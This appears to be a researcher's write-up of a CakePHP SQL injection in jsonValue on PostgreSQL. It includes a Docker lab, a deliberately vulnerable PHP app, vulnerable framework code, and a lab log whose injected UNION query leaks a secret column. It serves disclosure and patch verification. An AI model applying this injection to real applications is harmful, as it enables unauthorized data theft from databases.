Research/CVE-2026-77635
N-dayCVE-2026-77635CriticalPublic

CVE-2026-77635: CakePHP, unauthenticated RCE

CakePHP FunctionsBuilder::jsonValue on PostgresDriver interpolates $jsonPath into JSONB_PATH_QUERY. quoteIdentifier is not a bind. The lab passes GET path into jsonValue. Not WordPress. Fixed in 5.2.15.

Name
CVE-2026-77635: CakePHP, unauthenticated RCE
Type
N-day analysis
CVE
CVE-2026-77635
CVE Risk
critical
Disclosure Status
public
Vendor
CakePHP
Affected
cakephp/cakephp and cakephp/database 5.1.x before 5.1.10, 5.2.x before 5.2.15, 5.3.x before 5.3.7; lab on 5.2.13 with PostgreSQL
Published
19 Sept 2026
Updated
19 Sept 2026
Tags
n-day, cakephp, sql-injection, cwe-89, postgresql, unauthenticated, rce

JSON_VALUE is not bound

I am @abraxas_null. The proof of concept is on GitHub: abraxas/CVE-2026-77635 (loopback client). The lab stack is lab/: Dockerfile, docker-compose.yml, lab-www/index.php, lab-www/composer.json. Authorized lab only. It talks to loopback.

CVE-2026-77635 (NVD, GHSA-fxf7-vhh8-7vpq) is SQL injection in CakePHP FunctionsBuilder::jsonValue when the driver is PostgreSQL. Lab is 5.2.13. CWE-89. GHSA 9.2. This is not a WordPress plugin. It is a sibling of CVE-2026-79752 (cast / extract / dateAdd). This one is jsonValue and it needs Postgres. Fixed in 5.2.15, 5.1.10, 5.3.7.

The advisory names $jsonPath. HTTP is GET /?path= on the lab app. PostgresDriver rewrites JSON_VALUE to JSONB_PATH_QUERY and puts the path through quoteIdentifier. That is not a bound parameter. You can close the jsonpath literal and UNION. The lab leaks notes.secret. SQLi at the DB user's privileges is RCE when that user can write files. I am not publishing a destructive payload.

This is the map I used to get from JSONB_PATH_QUERY(body::jsonb, '$.missing'::jsonpath) to a JSON array that contained POCWitness77635. Isolated lab, loopback only. The stack is in the CVE repo so you can run it at home. The client is the repo above.

What an attacker can do

An application that takes the json path from the request lets the caller close the jsonpath and UNION secret. An application that hard-codes '$.x' is fine. This is CakePHP putting a caller-supplied path into SQL, not "Postgres jsonpath is unsafe."

The lab (run this at home)

Source of truth is lab/ on GitHub. Dockerfile is php:8.2-apache plus pdo_pgsql and composer:2. Compose adds postgres:16-alpine. cakephp/database 5.2.13. Port on loopback only.

Dockerfile
FROM php:8.2-apache
RUN apt-get update && apt-get install -y --no-install-recommends libpq-dev git unzip \
    && docker-php-ext-install pdo_pgsql pgsql \
    && rm -rf /var/lib/apt/lists/*
COPY --from=composer:2 /usr/bin/composer /usr/bin/composer
WORKDIR /var/www/html
COPY lab-www/composer.json /var/www/html/composer.json
RUN composer install --no-dev --no-interaction --no-progress --no-security-blocking
COPY lab-www/index.php /var/www/html/index.php
RUN chown -R www-data:www-data /var/www/html
YAML
services:
  db:
    image: postgres:16-alpine
    environment:
      POSTGRES_USER: lab
      POSTGRES_PASSWORD: lab
      POSTGRES_DB: lab
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U lab -d lab"]
      interval: 2s
      timeout: 3s
      retries: 20
  web:
    build: .
    ports:
      - "127.0.0.1:8088:80"
    environment:
      DB_HOST: db
      DB_USER: lab
      DB_PASS: lab
      DB_NAME: lab
    volumes:
      - ./lab-www/index.php:/var/www/html/index.php:ro
    depends_on:
      db:
        condition: service_healthy
JSON
{
  "name": "lab/cve-2026-77635",
  "require": {
    "php": ">=8.1",
    "cakephp/database": "5.2.13"
  },
  "config": {
    "platform": { "php": "8.2.0" },
    "audit": { "abandoned": "ignore", "block-insecure": false }
  }
}

The lab app creates notes(body JSONB, secret TEXT) with secret = POCWitness77635 and passes $_GET['path'] into jsonValue().

PHP
<?php
/**
 * Lab app for CVE-2026-77635. Passes untrusted jsonPath into jsonValue() on Postgres.
 */
declare(strict_types=1);

require __DIR__ . '/vendor/autoload.php';

use Cake\Database\Connection;
use Cake\Database\Driver\Postgres;

header('Content-Type: text/plain; charset=utf-8');

$host = getenv('DB_HOST') ?: 'db';
$driver = new Postgres([
    'host' => $host,
    'username' => getenv('DB_USER') ?: 'lab',
    'password' => getenv('DB_PASS') ?: 'lab',
    'database' => getenv('DB_NAME') ?: 'lab',
]);
$conn = new Connection(['driver' => $driver]);
$conn->execute('CREATE TABLE IF NOT EXISTS notes (id INTEGER PRIMARY KEY, body JSONB, secret TEXT)');
$conn->execute("INSERT INTO notes (id, body, secret) VALUES (1, '{\"x\":1}', 'POCWitness77635') ON CONFLICT (id) DO NOTHING");

$path = isset($_GET['path']) ? (string) $_GET['path'] : '$.missing';
try {
    $q = $conn->selectQuery();
    $q = $q->select(['v' => $q->func()->jsonValue('body', $path)])->from('notes');
    echo 'sql=' . $q->sql() . "\n";
    $rows = $q->execute()->fetchAll('assoc');
    echo json_encode($rows, JSON_UNESCAPED_SLASHES) . "\n";
} catch (Throwable $e) {
    http_response_code(500);
    echo $e->getMessage() . "\n";
}

Bring-up from the CVE repo lab/:

Plain text
git clone https://github.com/abraxas/CVE-2026-77635
cd CVE-2026-77635/lab
docker compose up --build -d --force-recreate
python3 ../CVE-2026-77635-Abraxas-Labs.py

Postgres has to be up (pg_isready). Do not publish the port off loopback. The proof of concept is written for 127.0.0.1:8088.

What the tree actually registers

jsonValue in 5.2.13:

PHP
public function jsonValue(
    ExpressionInterface|string $expression,
    string $jsonPath,
    array $types = [],
): FunctionExpression {
    $params = $this->toLiteralParam($expression) + [$jsonPath];

    return new FunctionExpression('JSON_VALUE', $params, $types);
}

The field can be an identifier. The path is a bare string in the param list. Postgres::_transformFunctionExpression then:

PHP
case 'JSON_VALUE':
    $expression->setName('JSONB_PATH_QUERY')
        ->iterateParts(function ($p, $key) {
            if ($key === 0) {
                $p = sprintf('%s::jsonb', $p);
            } elseif ($key === 1) {
                $p = sprintf("'%s'::jsonpath", $this->quoteIdentifier($p['value']));
            }
            return $p;
        });

quoteIdentifier is for SQL identifiers. A jsonpath that contains ' still leaves the query. The lab GET closes the jsonpath, UNIONs to_jsonb(secret), and comments out the rest. Sqlite was CVE-2026-79752. This one needs Postgres or you get a driver that does not take this transform.

5.2.15 binds or validates the path. That is the patch. Update. Workaround from the GHSA: do not pass user-controlled data into $jsonPath.

The 200 that was $.missing

The first client I pointed at this was polite. It hit / with no path. You get JSONB_PATH_QUERY(body::jsonb, '$.missing'::jsonpath) and []. That is a miss on the JSON, not a miss on the sink. Connection refused is Postgres not ready.

A few other ways to lose without learning anything:

  • No sql= injection fragment. The path never left the builder.
  • Witness string only in the PHP source. The row has to come back through the query.
  • SQLite image. This transform is Postgres.
  • A reverse shell. Theatre. The witness is POCWitness77635 in the JSON and the injected fragment in sql=.

The tell is small plaintext: a sql= line that is no longer a single jsonpath, then JSON that contains the unique string.

What I actually did

Treat the on-disk product as the spec. The GHSA named jsonValue on PostgresDriver. I read the transform, then built a lab that passes GET into it. Proof of concept: CVE-2026-77635-Abraxas-Labs.py.

Default, then inject. GET /. Confirm $.missing and empty rows. GET /?path= with a path that closes the jsonpath and UNIONs secret. Both the SQL dump and the JSON must show the fragment and the witness.

Last lab run, trimmed:

Plain text
default status=200
sql=SELECT (JSONB_PATH_QUERY(body::jsonb, '$.missing'::jsonpath)) AS "v" FROM notes
[]
inject status=200
sql=SELECT (JSONB_PATH_QUERY(body::jsonb, '$.x')) FROM notes UNION SELECT to_jsonb(secret) FROM notes --'::jsonpath)) AS "v" FROM notes
POCWitness77635
SUCCESS CVE-2026-77635

The client that produced it is on GitHub.

Wrong turns: SQLite image (this transform is Postgres); witness string only in PHP source; no sql= fragment because the path never left the builder.

What this is not

It is not WordPress. It is not "Postgres jsonpath is unsafe." It is CakePHP putting a caller-supplied path into JSONB_PATH_QUERY as SQL. An application that hard-codes '$.x' is fine. An application that takes the path from the request is not.

Update to 5.2.15 (or 5.1.10 / 5.3.7). Re-run the loopback client against the patched build: the injected fragment must not appear in sql=.

I am not going to print a payload that writes files through Postgres. The unescaped $jsonPath is the useful part. If you own the box, run the proof of concept against loopback.

Client bugs look like product bugs. A helper that shadows http.client never sends a packet. .recv() on an HTTPResponse is not .read(). I mention that once because it cost time and looked, for a minute, like CakePHP was fine.

References